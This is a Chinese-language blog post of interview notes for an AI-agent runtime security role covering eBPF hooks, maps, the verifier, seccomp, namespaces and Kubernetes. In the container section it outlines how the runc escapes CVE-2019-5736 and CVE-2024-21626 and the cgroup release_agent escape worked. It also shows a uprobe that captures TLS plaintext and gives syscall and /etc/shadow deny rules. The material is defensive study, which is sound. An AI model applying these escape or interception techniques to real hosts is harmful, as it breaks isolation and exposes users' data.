Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

AI Agent 系统安全研究工程师(eBPF / Runtime Security)面试准备

一、面试背景与自我定位

1.1 面试情况

  • 岗位: AI Agent 系统安全研究工程师(eBPF / Runtime Security 方向)
  • 面试类型: 交叉面试
  • 面试官背景: eBPF 方向,做 GPU 训练集群的性能监控/可观测性(NCCL、RDMA、CUDA 调用链路等)。他是 eBPF 的深度用户,但视角是性能/可靠性而非安全

交叉面考察维度:

  1. eBPF 内功——他天天写 eBPF,会从实践角度问细节,不是背概念能过的
  2. 性能敏感度——训练集群每 1% 的开销都是真金白银(GPU 小时很贵),你的安全监控能不能控制开销
  3. 协作意识——安全监控和性能监控能不能共用基础设施、避免冲突
  4. 跨领域理解——你对他的领域(训练监控)了解多少,能不能对话

1.2 自我介绍(建议 2 分钟)

我叫施伟铭,7 年安全研究经验。职业路径是从 IoT 漏洞挖掘开始,在长亭科技做了将近 7 年,累计发现 50+ CVE,覆盖 Cisco、ASUS、华为、QNAP 等厂商以及 Linux Kernel、FreeBSD 系统层面。

2025 年 11 月加入 STAR Labs SG,目前专注 Linux eBPF 子系统的安全审计,已有多个 Linux Kernel CVE 产出。

我的核心技能和这个岗位高度相关:一是 eBPF 安全审计的实战经验,让我从攻击者角度理解 eBPF 的能力和局限;二是容器逃逸的深入研究——公开分析过 CVE-2019-5736、CVE-2024-21626 等经典逃逸漏洞,2021 年天府杯做过 Docker 逃逸 + Linux 提权利用链;三是一直在关注 AI 安全前沿,理解 Prompt Injection、Tool Use、代码执行沙箱这些新兴攻击面。

我认为 Agent Runtime Security 需要同时理解内核/系统层的攻击面和 AI 应用层的威胁模型,我的背景正好能连接这两端。

1.3 核心差异化

同时具备”内核/eBPF 攻击视角”和”容器逃逸实战经验”,这在 AI Agent Runtime Security 领域非常稀缺——大多数候选人要么只懂 LLM 应用层,要么只懂传统内核安全,你可以打通两端。


二、eBPF 基础知识速查

面试前务必过一遍,确保这些概念不仅”听过”,而且能用自己的话讲清楚。

2.1 eBPF 是什么

eBPF(extended Berkeley Packet Filter)允许你在不修改内核源码、不加载内核模块的情况下,在内核中运行自定义的沙箱程序。你写一段 C 程序 → 编译成 eBPF 字节码 → 通过 bpf() 系统调用加载到内核 → 内核的 verifier 做安全检查 → JIT 编译成机器码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
用户态                                内核态
┌──────────────┐ ┌──────────────────────┐
│ BPF 程序 (.c) │──clang/llvm──→│ 字节码 (.o) │
│ │ │ │ │
│ 用户态 loader │──bpf() ──────→│ Verifier (安全检查) │
│ (libbpf等) │ │ │ │
│ │ │ JIT Compiler │
│ │ │ │ │
│ │ │ attach 到 hook 点 │
│ │ │ (kprobe/tracepoint/ │
│ │ │ LSM/XDP/...) │
│ │ │ │ │
│ ring buffer ◄───事件数据─────│ BPF 程序执行 │
│ / map 读取 ◄───────────────│ BPF map (共享数据) │
└──────────────┘ └──────────────────────┘

核心优势: 安全(verifier 保证不会 crash 内核)、高性能(JIT 编译、内核态执行无上下文切换)、动态(热加载热卸载)。

程序类型矩阵:

1
2
3
4
├── 观测类:kprobe/kretprobe, fentry/fexit, tracepoint, raw_tracepoint, perf_event
├── 网络类:XDP, TC, socket filter, sk_msg, cgroup/skb
├── 安全类:LSM (BPF_PROG_TYPE_LSM)
└── 调度类:struct_ops (sched_ext)

2.2 Hook 机制详解

eBPF 程序需要 attach(挂载)到内核的某个 hook 点 上,当该 hook 点被触发时,eBPF 程序就会执行。

kprobe / kretprobe(内核函数探针)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
原理:
1. 你指定要 hook 的内核函数名,比如 do_sys_openat2
2. 内核把该函数入口的第一条指令替换为 int3 (断点指令)
3. CPU 执行到这里 → 触发 trap → 内核调用你的 BPF 程序 → 恢复原指令继续执行
4. kretprobe 同理,但 hook 的是函数返回点

特点:
- 可以 hook 内核中几乎任意函数(只要你知道函数名)
- 灵活性最高,但依赖内核符号(非稳定 ABI,不同版本函数名/参数可能变)
- 开销:每次调用约 50-100ns(因为要进出 trap handler)
- 参数获取:从 pt_regs 结构体中按 CPU 寄存器约定取(容易出错)

示例(libbpf C 风格):
SEC("kprobe/do_sys_openat2")
int trace_open(struct pt_regs *ctx) {
// ctx->di = 第1个参数 (x86_64 调用约定)
// ctx->si = 第2个参数
char filename[256];
bpf_probe_read_user_str(filename, sizeof(filename), (void *)PT_REGS_PARM2(ctx));
bpf_printk("open file: %s\n", filename);
return 0;
}

fentry / fexit(BPF Trampoline,5.5+ 内核)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
原理:
1. 不用 int3 断点,而是在函数入口前插入一个 jmp 指令跳到 BPF trampoline
2. Trampoline 直接调用 BPF 程序,不经过 trap handler
3. fexit 可以同时拿到入参和返回值

特点:
- 比 kprobe 快一个数量级:约 5-10ns(无 trap 开销)
- 参数访问是类型安全的(通过 BTF),直接用结构体字段名
- 需要内核有 BTF 支持(5.5+)
- 是 kprobe 的升级替代,新内核上优先使用

示例:
SEC("fentry/do_sys_openat2")
int BPF_PROG(trace_open, int dfd, struct filename *name, struct open_how *how) {
// 参数直接有名字和类型,不用从寄存器里抠
bpf_printk("open dfd: %d\n", dfd);
return 0;
}

tracepoint(内核静态追踪点)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
原理:
1. 内核源码中预埋了 trace_xxx() 宏调用(约 2000+ 个追踪点)
2. 未启用时几乎零开销(static key / nop)
3. 启用后,每次执行到该点就调用注册的 BPF 程序

特点:
- 稳定 ABI:内核保证 tracepoint 的格式跨版本兼容
- 性能好,适合生产环境长期开启
- 但只能 hook 内核预定义的点,不如 kprobe 灵活
- 参数通过 tracepoint 专有的 ctx 结构体传递(有明确的字段定义)

常用的 tracepoint 举例:
sched:sched_process_exec → 进程 execve 时触发
sched:sched_process_fork → 进程 fork 时触发
sched:sched_process_exit → 进程退出时触发
syscalls:sys_enter_openat → openat 系统调用入口
syscalls:sys_enter_connect → connect 系统调用入口
net:net_dev_xmit → 网络包发送时触发

示例:
SEC("tracepoint/sched/sched_process_exec")
int trace_exec(struct trace_event_raw_sched_process_exec *ctx) {
pid_t pid = bpf_get_current_pid_tgid() >> 32;
bpf_printk("exec pid: %d\n", pid);
return 0;
}

raw_tracepoint

1
2
3
4
- 和 tracepoint 类似,但跳过了 tracepoint 的参数格式化步骤
- 直接拿到原始参数(void * 指针),需要自己 cast
- 比 tracepoint 开销更低(少了格式化步骤)
- 适合对性能极度敏感且知道自己在做什么的场景

uprobe / uretprobe(用户态函数探针)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
原理:
1. 类似 kprobe,但 hook 的是用户态 ELF 二进制中的函数
2. 内核在目标函数地址设置断点
3. 用户态进程执行到该函数 → trap 到内核 → 执行 BPF 程序 → 返回用户态

特点:
- 可以 hook 任何用户态的 native 函数(C/C++/Go/Rust 编译的二进制)
- 需要指定二进制路径 + 函数名或偏移
- 开销比 kprobe 高(用户态 → 内核态来回切换)
- 对解释型语言(Python/Java)不能直接 hook 业务函数,
只能 hook 解释器本身的 native 函数

示例(hook libssl 的 SSL_write 抓明文):
SEC("uprobe//usr/lib/libssl.so.3:SSL_write")
int trace_ssl_write(struct pt_regs *ctx) {
void *buf = (void *)PT_REGS_PARM2(ctx);
char data[128];
bpf_probe_read_user(data, sizeof(data), buf);
bpf_printk("SSL_write: %s\n", data);
return 0;
}

Python 层面的特殊处理:
- Python 函数不是 native 函数,不能直接 uprobe
- 方案一:hook CPython 解释器的 C 函数
如 _PyEval_EvalFrameDefault,从 PyFrameObject 中提取函数名
- 方案二:利用 CPython 内置的 USDT probe(需 --with-dtrace 编译)
有 function__entry / function__return 探针
- 方案三:Python 3.12+ 支持 perf_trampoline,
让 perf / eBPF 能直接看到 Python 函数的符号名

USDT(User Statically Defined Tracepoints)

1
2
3
4
5
6
7
8
9
10
11
12
- 用户态程序源码中预埋的静态追踪点(类似内核的 tracepoint)
- 未启用时是 nop 指令,零开销;启用时内核把 nop 替换为 trap 指令
- 比 uprobe 开销更低(未启用时完全零开销)
- 需要程序编译时显式添加 DTRACE_PROBE() 宏
- MySQL、PostgreSQL、Node.js、CPython、JVM 等都内置了 USDT probe

示例(追踪 CPython 函数调用):
SEC("usdt//usr/bin/python3:function__entry")
int trace_py_func(struct pt_regs *ctx) {
// arg0 = filename, arg1 = funcname, arg2 = lineno
...
}

LSM hook(BPF_PROG_TYPE_LSM)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
原理:
1. Linux Security Module 框架在内核关键操作前预埋了约 200+ 个安全检查点
2. BPF LSM 允许把 eBPF 程序 attach 到这些检查点
3. BPF 程序返回 0 = 允许操作,返回负值(如 -EPERM)= 拒绝操作

特点:
- 唯一能做访问控制决策的 eBPF 程序类型(其他类型只能观测)
- 动态加载/卸载,无需重启(相比 AppArmor/SELinux)
- 可以访问 BPF map 做有状态决策
- 需要 5.7+ 内核 + CONFIG_BPF_LSM 编译选项

常用 LSM hook 点:
security_file_open → 文件打开前
security_inode_create → 创建文件/目录前
security_inode_unlink → 删除文件前
security_socket_connect → socket 连接前
security_socket_sendmsg → socket 发送数据前
security_bprm_check → 执行程序前 (execve)
security_capable → 权限检查
security_task_setnice → 修改进程优先级前

示例(阻止容器访问 /etc/shadow):
SEC("lsm/file_open")
int BPF_PROG(restrict_file_open, struct file *file) {
struct path path = file->f_path;
u64 cgroup_id = bpf_get_current_cgroup_id();
if (!is_agent_container(cgroup_id))
return 0; // 非 Agent 容器,放行
if (match_blacklist(&path))
return -EPERM; // 拒绝
return 0;
}

XDP / TC(网络数据面)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
XDP (eXpress Data Path):
- 在网卡驱动层(最早的入口点)处理网络包
- 可以做 DROP / PASS / REDIRECT / TX(回发)
- 性能极高(几百万 pps),适合 DDoS 防护
- 一个网卡只能 attach 一个 XDP 程序(除非用 libxdp dispatcher)

TC (Traffic Control):
- 在内核网络栈的 TC 层处理包(比 XDP 晚,但能看到更多上下文)
- 可以做 ingress 和 egress 两个方向
- Cilium 大量使用 TC eBPF 做容器网络策略

cgroup/skb, cgroup/sock:
- 按 cgroup(= 容器/Pod)粒度做网络策略
- 比如:限制某个容器只能连接特定 IP:port

2.3 各 Hook 机制对比总结

kprobe fentry tracepoint uprobe USDT LSM
hook 目标 内核任意函数 内核任意函数 内核预定义点 用户态函数 用户态预定义点 安全检查点
稳定性 不稳定(依赖符号) 不稳定 稳定 ABI 依赖二进制 稳定 稳定
性能开销 ~50-100ns ~5-10ns 低 较高 极低(未启用=0) 低
能否阻断 否(只观测) 否 否 否 否 是(可拒绝)
参数类型安全 否(pt_regs) 是(BTF) 是 否(pt_regs) 否 是(BTF)
最低内核版本 4.1 5.5 4.7 4.1 4.20 5.7
典型场景 调试、深度分析 替代 kprobe 生产监控 用户态追踪 应用级追踪 安全策略执行

2.4 BPF Map

Map 是 eBPF 程序和用户态之间、以及多个 eBPF 程序之间共享数据的机制。可以理解为内核中的键值数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
用户态进程                    内核中的 BPF 程序
│ │
│ bpf_map_update_elem() │ bpf_map_lookup_elem()
│ bpf_map_lookup_elem() │ bpf_map_update_elem()
│ bpf_map_delete_elem() │ bpf_map_delete_elem()
│ │
└──────────── BPF Map ─────────┘
(内核内存中)

生命周期:
- 创建:BPF 程序加载时由 libbpf 自动创建,或 bpf_map_create() 手动创建
- pin 到 bpffs:可以把 map pin 到 /sys/fs/bpf/xxx,多个进程/程序可以共享
- 销毁:所有引用(fd)关闭且未 pin 时自动销毁

常用 Map 类型:

类型 数据结构 关键特点 典型用途
HASH 哈希表 O(1) 查找/插入/删除 策略表、PID 白名单、连接追踪
ARRAY 固定数组 索引访问,不能删除 entry 全局配置、统计计数器
PERCPU_HASH/ARRAY per-CPU 版本 每个 CPU 一份副本,无锁 高频计数(性能监控常用)
LRU_HASH 带 LRU 淘汰的哈希表 满时自动淘汰最久未用 缓存、有过期需求的场景
LPM_TRIE 最长前缀匹配树 IP 地址/CIDR 匹配 网络策略(按 IP 段放行/拒绝)
RINGBUF 单共享环形缓冲区 保序、内存高效 事件传输(推荐,5.8+)
PERF_EVENT_ARRAY per-CPU 环形缓冲区 老 API,可能乱序 事件传输(兼容老内核)
PROG_ARRAY 存 BPF 程序 fd 用于 tail call 拆分复杂逻辑到子程序
STACK_TRACE 调用栈存储 保存内核/用户态调用栈 性能 profiling
TASK_STORAGE 按 task_struct 索引 跟随进程生命周期自动回收 进程级安全状态(5.11+)
CGROUP_STORAGE 按 cgroup 索引 跟随 cgroup 生命周期 容器级策略/统计

2.5 BPF Helper 函数

BPF 程序在内核中运行,不能调用任意内核函数,只能调用内核提供的 helper 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
数据读取:
bpf_probe_read_kernel(dst, size, src) → 从内核地址读数据
bpf_probe_read_user(dst, size, src) → 从用户态地址读数据
bpf_core_read(dst, size, src) → CO-RE 版本,自动重定位

上下文获取:
bpf_get_current_pid_tgid() → 返回 (tgid << 32) | pid(tgid 就是通常说的 PID)
bpf_get_current_uid_gid() → 返回 (gid << 32) | uid
bpf_get_current_comm(buf, sz) → 获取当前进程名(如 "python3")
bpf_get_current_task() → 获取 task_struct 指针
bpf_get_current_cgroup_id() → 获取当前进程的 cgroup ID(用于关联到容器)

Map 操作:
bpf_map_lookup_elem(map, key) → 查找
bpf_map_update_elem(map, key, val, flags) → 插入/更新
bpf_map_delete_elem(map, key) → 删除

事件输出:
bpf_ringbuf_reserve(ringbuf, size, flags) → 在 ring buffer 中预留空间
bpf_ringbuf_submit(data, flags) → 提交事件
bpf_perf_event_output(ctx, map, flags, data, size) → perf buffer 输出

时间: bpf_ktime_get_ns() → 纳秒级时间戳(CLOCK_MONOTONIC)
网络: bpf_skb_load_bytes() / bpf_redirect()
调试: bpf_printk(fmt, ...) → 输出到 /sys/kernel/debug/tracing/trace_pipe

2.6 Verifier、JIT、BTF、CO-RE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
                    BPF 字节码 (.o)
│
┌────▼────┐
│ Verifier │ ← 静态分析:控制流、内存安全、类型安全
└────┬────┘
│ 验证通过
┌────▼────┐
│ JIT │ ← 字节码 → 机器码(x86/ARM/...),接近原生性能
└────┬────┘
│
内核中执行

BTF (BPF Type Format):
- 内核编译时生成的类型元数据(/sys/kernel/btf/vmlinux)
- 描述内核所有结构体的字段名、类型、偏移
- Verifier 用它做类型检查,CO-RE 用它做重定位

CO-RE (Compile Once Run Everywhere):
- 问题:task_struct 的 pid 字段在不同内核版本的偏移不同
- 编译时:记录"我要访问 task_struct.pid"这个语义
- 加载时:libbpf 读取当前内核的 BTF,计算实际偏移,patch 字节码
- 效果:一次编译的 .o 文件可以在不同内核版本上运行

2.7 程序生命周期与工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
生命周期:
1. 编写 C → 2. clang -target bpf 编译 → 3. bpftool gen skeleton(可选)
4. 用户态 loader 加载(bpf() 系统调用 → verifier → JIT)
5. attach 到 hook 点 → 6. 运行 → 7. destroy 卸载

常用工具:
bpftool prog list / show / dump xlated / dump jited / profile
bpftool map list / dump
bpftool net list
bpftool btf dump file /sys/kernel/btf/vmlinux

bpftrace(一行命令搞定简单追踪):
bpftrace -e 'kprobe:do_sys_openat2 { printf("%s open\n", comm); }'
bpftrace -e 'tracepoint:sched:sched_process_exec { printf("exec %s\n", str(args.filename)); }'
bpftrace -e 'uprobe:/usr/bin/python3:_PyEval_EvalFrameDefault { printf("py frame\n"); }'

三、技术问答:eBPF

Q: eBPF 程序的类型有哪些?Tracepoint、kprobe、LSM hook 分别适合什么场景?

kprobe/kretprobe 可以 hook 内核中几乎任意函数,灵活性最高,适合调试和深度分析。缺点是依赖内核符号,不同版本可能函数名或参数变化,不属于稳定 ABI。比如我在做 eBPF 审计时,经常通过 kprobe 去 hook 特定内核函数来观察内部状态。

Tracepoint 是内核预定义的稳定 hook 点,性能好且跨版本兼容。适合生产环境的长期监控,比如 sched_process_exec、syscalls:sys_enter_openat 这类。做 Agent Runtime 监控首选 tracepoint,因为稳定且开销小。

LSM hook(BPF_PROG_TYPE_LSM) 是唯一能做访问控制决策的类型——前两者只能观测,LSM 可以返回非零值拒绝操作。适合策略强制执行场景,比如阻止 Code Interpreter 访问 /etc/shadow 或连接非白名单网络。相比 AppArmor/SELinux,eBPF LSM 最大的优势是动态加载卸载,不需要重启服务或重新编译策略。

还有网络类的 XDP(最早期的包处理,适合 DDoS 防护)、TC(流量分类和策略)、cgroup/skb(按 cgroup 做网络策略,Cilium 大量使用)。以及比较新的 struct_ops 用于 sched_ext 调度器扩展。

在 Agent Runtime Security 的场景下,我会组合使用:tracepoint 做基础遥测采集,LSM hook 做安全策略强制执行,kprobe 用于特定场景的深度分析和调试。

Q: eBPF verifier 做了什么?

Verifier 是 eBPF 的安全基石,负责在程序加载到内核之前做静态分析,确保程序不会导致内核崩溃或安全问题。主要做几件事:

  1. 控制流检查:确保程序是 DAG(有向无环图),不允许无限循环(bounded loops 在 5.3+ 有限支持)
  2. 指令数限制:当前上限约 100 万条已验证指令
  3. 内存安全:追踪每个寄存器的类型和值范围,确保所有指针访问都在合法边界内,不会越界读写
  4. 类型安全:区分 PTR_TO_CTX、PTR_TO_MAP_VALUE、PTR_TO_STACK 等,不同类型的指针有不同的允许操作
  5. Helper 函数权限检查:不同 BPF 程序类型只能调用特定的 helper,非特权程序能调用的 helper 更少
  6. 推测执行安全:给 ALU 操作插 barrier 以防 Spectre 类攻击

但 verifier 本身是极其复杂的代码,也是攻击面。我在 STAR Labs 做 eBPF Audit 时,重点关注的就是 verifier 的逻辑漏洞——比如对寄存器值范围的跟踪在某些边界条件下可能出错(如符号扩展、移位操作),导致 verifier 认为安全的操作实际上能越界。CVE-2021-4001 就是 eBPF 子系统中的 race condition 问题。后续在 2025-2026 年发现的几个内核 CVE 也涉及 eBPF 相关的边界问题。

Q: ring buffer vs perf buffer?

Perf buffer 是 per-CPU 的,每个 CPU 一个独立 buffer。优点是无锁写入(每个 CPU 写自己的 buffer),缺点是用户态需要 poll 多个 fd,事件可能乱序(不同 CPU 上的事件没有全局排序),而且如果某些 CPU 负载高某些空闲,内存利用率不均匀。

Ring buffer(5.8+ 引入)是所有 CPU 共享的单一缓冲区,用 lock-free 的方式实现多生产者单消费者。优点是用户态只需 poll 一个 fd,事件天然保序,内存利用率更高。缺点是在高并发写入时可能有 cache line 竞争,但实测在大多数场景下性能不比 perf buffer 差,甚至更好。

做 Agent Runtime 监控优先用 ring buffer,因为保序对安全事件分析很重要——需要知道”先 open 文件还是先 connect 网络”这种时序关系。

Q: CO-RE 是什么?为什么重要?

Compile Once Run Everywhere。核心问题是:不同内核版本的结构体布局可能不同,比如 task_struct 在 5.10 和 6.1 中字段偏移不一样。

CO-RE 通过三个组件解决:

  1. BTF(BPF Type Format):内核编译时生成的类型信息,描述结构体布局
  2. libbpf 重定位:编译时记录”我要访问 task_struct 的 pid 字段”这个语义,加载时 libbpf 根据当前内核的 BTF 计算实际偏移并 patch 字节码
  3. **bpf_core_read()**:替代直接指针解引用,配合重定位工作

这对生产环境部署非常关键——不可能为每个客户的内核版本都编译一份 eBPF 程序。像 Tetragon、Tracee 这些工具都依赖 CO-RE 实现跨内核版本部署。

Q: 你在 eBPF audit 中发现过什么类型的漏洞?

在 STAR Labs 参与的 eBPF Audit Project 主要关注几个攻击面:

  1. Verifier 逻辑漏洞:verifier 对某些操作的值范围推导不正确,比如在特定 ALU 操作序列后,verifier 认为一个值在 [0, 100] 范围内,但实际运行时可以超出这个范围,导致后续的 map 访问或指针操作越界
  2. JIT 编译器问题:verifier 验证的是 eBPF 字节码,但实际执行的是 JIT 编译后的机器码。如果 JIT 的翻译与 verifier 的假设不一致,就可能产生安全漏洞
  3. Helper 函数实现缺陷:某些 helper 函数的实现可能在边界条件下有问题,比如参数校验不够严格
  4. 并发与 race condition:eBPF map 的并发访问、程序加载/卸载的竞态

具体到获得的 CVE-2025-38477、CVE-2025-40083、CVE-2025-68325 以及 2026 年的几个 CVE,涉及了上述多个方面。这些经验让我不仅知道 eBPF 能做什么安全监控,更知道 eBPF 自身的攻击面在哪里——在多租户环境中,如果允许租户加载 eBPF 程序(通常不应该),这些都是需要考虑的风险。


四、技术问答:容器与隔离安全

Q: Linux Namespace 有哪些类型?

目前有 8 种:

  1. Mount namespace:隔离挂载点,容器看到自己的文件系统视图
  2. PID namespace:隔离进程 ID 空间,容器内 PID 1 是自己的 init 进程
  3. Network namespace:隔离网络栈,独立的网卡、路由表、iptables 规则
  4. IPC namespace:隔离 System V IPC 和 POSIX 消息队列
  5. UTS namespace:隔离 hostname 和 domainname
  6. User namespace:隔离 UID/GID 映射,非特权用户可以在 ns 内获得 root
  7. Cgroup namespace:隔离 cgroup 视图,容器看到的 cgroup 根是自己的
  8. Time namespace(5.6+ 引入):隔离 CLOCK_MONOTONIC 和 CLOCK_BOOTTIME

对 Agent Runtime 最关键的是 mount(文件隔离)、network(网络隔离)和 PID(进程隔离)。User namespace 比较特殊——它允许非特权用户创建其他类型的 namespace,这扩大了内核攻击面,是很多提权链的起点。不少安全加固方案会建议 sysctl kernel.unprivileged_userns_clone=0 关闭它。

Q: Seccomp BPF 的工作原理?如何为 Code Interpreter 定制?

Seccomp BPF 通过 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER) 或 seccomp() 系统调用安装一个 cBPF 过滤器。每次进程发起 syscall 时,内核先把 syscall 编号和参数传给这个 BPF 程序,程序返回动作:ALLOW(允许)、KILL(杀进程)、ERRNO(返回错误码)、TRACE(通知 ptrace)、LOG(记录但允许)。

Docker 默认的 seccomp profile 大概禁止了 44 个危险 syscall,包括 mount、umount、ptrace、kexec_load、init_module、reboot 等。

为 Code Interpreter 定制的话,思路是从白名单出发而不是黑名单:

1
2
3
4
5
6
7
8
9
10
11
允许的(约 80-100 个):
- 基础:read, write, open, close, mmap, mprotect, brk, futex...
- Python 运行时需要的:clone(限制flags), execve(限制路径), pipe, epoll...
- 网络(受限):socket(AF_INET only), connect, sendto, recvfrom

明确禁止的:
- 内核模块:init_module, finit_module, delete_module
- 挂载:mount, umount2, pivot_root
- 调试:ptrace, process_vm_readv/writev
- 特权:setuid, setgid, setns, unshare (防止创建新 namespace)
- 关键:keyctl, bpf (防止加载 eBPF 程序)

注意 seccomp 只过滤 syscall 编号和参数,不能检查路径字符串(因为指针指向用户空间)。所以文件路径级别的控制需要 LSM 配合。

Q: eBPF LSM 和传统 LSM 的区别?

传统 LSM(AppArmor/SELinux):

  • 策略在用户态编译后加载到内核,修改策略通常需要重新加载甚至重启服务
  • AppArmor 基于路径,比较直觉但不够灵活;SELinux 基于标签,策略表达力强但复杂度极高
  • 策略是静态的,不能根据运行时上下文做动态决策

eBPF LSM(KRSI):

  • 可以动态加载/卸载,不影响已有策略,不需要重启
  • 可以访问 eBPF map,因此能做有状态的决策:比如”同一个进程 5 秒内 open 了 100 个文件则拒绝”
  • 可以与其他 eBPF 程序共享数据,实现观测和控制的联动
  • 可以获取更丰富的上下文:通过 bpf_get_current_task() 拿到进程信息,通过 cgroup ID 关联到具体容器

劣势:

  • 需要 5.7+ 内核且编译时开启 CONFIG_BPF_LSM
  • 社区成熟度不如 AppArmor/SELinux,策略管理工具链还在完善
  • 策略的审计和合规认证(比如 FIPS)目前不如传统 LSM

在多租户 Agent 场景下,倾向于分层使用:AppArmor/SELinux 做基础的兜底策略(因为成熟可审计),eBPF LSM 做动态的细粒度控制和上下文感知决策。

Q: 容器逃逸的典型攻击面?(结合经历深入回答)

1. 容器运行时漏洞:

  • CVE-2019-5736(runc):这个我做过详细公开分析。攻击者在容器内通过 /proc/self/exe 获取 runc 二进制的引用,利用 O_PATH fd + /proc/self/fd/N 的方式在 runc 执行期间覆写宿主机上的 runc 二进制。核心问题是容器进程在 runc exec 阶段可以访问到 runc 自身的二进制文件。修复方式是 runc 先 clone 自身到 memfd 再 exec
  • CVE-2024-21626(runc):runc 在处理 WORKDIR 指令时存在 fd 泄漏,一个指向 host 文件系统的 fd 没有被设置 O_CLOEXEC,攻击者通过 WORKDIR /proc/self/fd/N/../../../ 这种方式访问宿主机文件系统
  • CVE-2019-14271(Docker cp):docker cp 命令 nsenter 进入容器 mount namespace 但链接了 host 的 libnss,攻击者替换 libnss 库文件实现 host 代码执行

2. 内核漏洞提权后逃逸:

  • 容器共享宿主机内核,任何内核提权漏洞都可能导致逃逸。2021 年天府杯我就做过 Ubuntu 上的 Docker 逃逸 + 本地提权利用链

3. 配置不当:

  • 特权容器(--privileged)、危险挂载(Docker socket)、危险 capability(SYS_ADMIN、SYS_PTRACE)

4. Cgroup 逃逸:

  • CVE-2022-0492:写入 cgroup 的 release_agent 文件,在 host namespace 执行命令

对于 AI Agent 的 Code Interpreter 场景,最现实的威胁是:Agent 被 prompt injection 后生成恶意代码 → 代码在容器内执行尝试内核漏洞利用或利用配置不当逃逸。隔离方案要假设容器内运行的代码是不可信的。

Q: 多租户 Agent 环境下的隔离粒度怎么选?

隔离方案对比:

1
2
3
4
5
6
7
8
9
10
11
┌──────────────────┬──────────┬──────────┬──────────┐
│ │ 隔离强度 │ 性能开销 │ 灵活性 │
├──────────────────┼──────────┼──────────┼──────────┤
│ Namespace+cgroup │ 中 │ 低 │ 高 │
│ Seccomp BPF │ 中 │ 极低 │ 中 │
│ AppArmor/SELinux │ 中高 │ 低 │ 低 │
│ eBPF LSM │ 中高 │ 低 │ 高 │ ← 动态策略
│ gVisor │ 高 │ 中高 │ 低 │
│ Kata/microVM │ 极高 │ 中 │ 中 │
│ Firecracker │ 极高 │ 低中 │ 中 │
└──────────────────┴──────────┴──────────┴──────────┘

建议分层防御:

第一层:强隔离边界 — Firecracker microVM / Kata,每个租户独立 VM,独立内核
第二层:容器内加固 — Seccomp 白名单 + eBPF LSM + drop capabilities + no-new-privileges
第三层:网络隔离 — Cilium eBPF 网络策略 + DNS 过滤
第四层:资源限制 — Cgroup v2 限制 CPU/内存/IO/PID

蚂蚁集团的 AntCWPP(Kata + eBPF LSM)是大规模生产环境的实践案例。


五、技术问答:内核安全

Q: Linux 内核常见漏洞类型?

UAF(Use-After-Free)、堆溢出、整数溢出、race condition、类型混淆、信息泄漏。其中 UAF 和 race condition 是最常见的,因为内核有大量的并发和复杂的对象生命周期管理。

Q: 内核利用缓解措施?

KASLR(地址随机化)、SMEP/SMAP(禁止内核执行/访问用户态内存)、KPTI(内核页表隔离,防 Meltdown)、CFI(控制流完整性)、stack canary(栈溢出检测)、USERCOPY hardening(限制内核从用户态拷贝的范围)。

Q: 如何调试内核?

GDB + QEMU/VMware、kgdb、ftrace、bpftrace、crash dump 分析。我做漏洞复现和利用研究时通常用 GDB + QEMU 搭建调试环境。

Q: syzkaller 怎么工作?

基于 syscall 描述(syzlang),生成 syscall 序列,利用 coverage 反馈引导变异。它有自己的 DSL 描述每个 syscall 的参数类型和约束,通过 KCOV 收集代码覆盖率信息来引导 fuzzer 探索新路径。


六、技术问答:Kubernetes

K8s 基础架构速查

面试前确保能画出这张架构图并解释每个组件的作用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
K8s 集群架构

┌─── Control Plane (Master) ────────────────────────────┐
│ │
│ kube-apiserver ← 所有操作的入口,REST API │
│ │ │
│ etcd ← 存储所有集群状态的 KV 数据库(Secret 也在这里) │
│ │ │
│ kube-scheduler ← 决定 Pod 调度到哪个 Node │
│ │ │
│ kube-controller-manager ← 运行各种控制器 │
│ (Deployment、ReplicaSet、Node Controller 等) │
│ │
│ cloud-controller-manager(可选)← 对接云厂商 API │
└────────────────────────────────────────────────────────┘
│ kubelet 向 apiserver 注册 + 汇报状态
│ apiserver 向 kubelet 下发 Pod 调度指令
▼
┌─── Worker Node ───────────────────────────────────────┐
│ │
│ kubelet ← 每个 Node 上的 agent,负责管理 Pod 生命周期 │
│ │ │
│ ├─→ 容器运行时(containerd / CRI-O) │
│ │ └─→ runc / kata / gVisor(OCI runtime) │
│ │ └─→ 创建容器(namespace + cgroup + rootfs)│
│ │ │
│ └─→ kube-proxy (或 Cilium eBPF 替代) │
│ └─→ Service 负载均衡 + 网络策略 │
│ │
│ ┌─── Pod ────────────────────────────┐ │
│ │ Container A Container B │ │
│ │ (共享 network namespace + volumes) │ │
│ │ 有独立的 IP 地址 │ │
│ └────────────────────────────────────┘ │
└────────────────────────────────────────────────────────┘

核心概念:

  • Pod:K8s 最小调度单元,一个 Pod 里可以有多个容器,它们共享 network namespace(同一个 IP)和 volumes
  • Namespace:K8s 级别的逻辑隔离(和 Linux namespace 不是一个概念),用于划分资源和权限边界
  • Service:给一组 Pod 提供稳定的访问入口(虚拟 IP + DNS 名),kube-proxy/Cilium 负责流量转发
  • ServiceAccount:Pod 的身份标识,每个 Pod 默认自动挂载一个 SA token,可以用它调用 K8s API
  • Admission Controller:Pod 创建请求到达 apiserver 后、写入 etcd 前的拦截点,可以做变更(Mutating)和校验(Validating)

Q: K8s 和 Docker 有什么区别?

Docker 和 K8s 是不同层次的东西,经常被混淆:

1
2
3
4
5
6
7
8
9
层次对比:

Docker(单机容器引擎):
用户 → docker CLI → dockerd → containerd → runc → 容器
只管单台机器上的容器创建、启动、停止

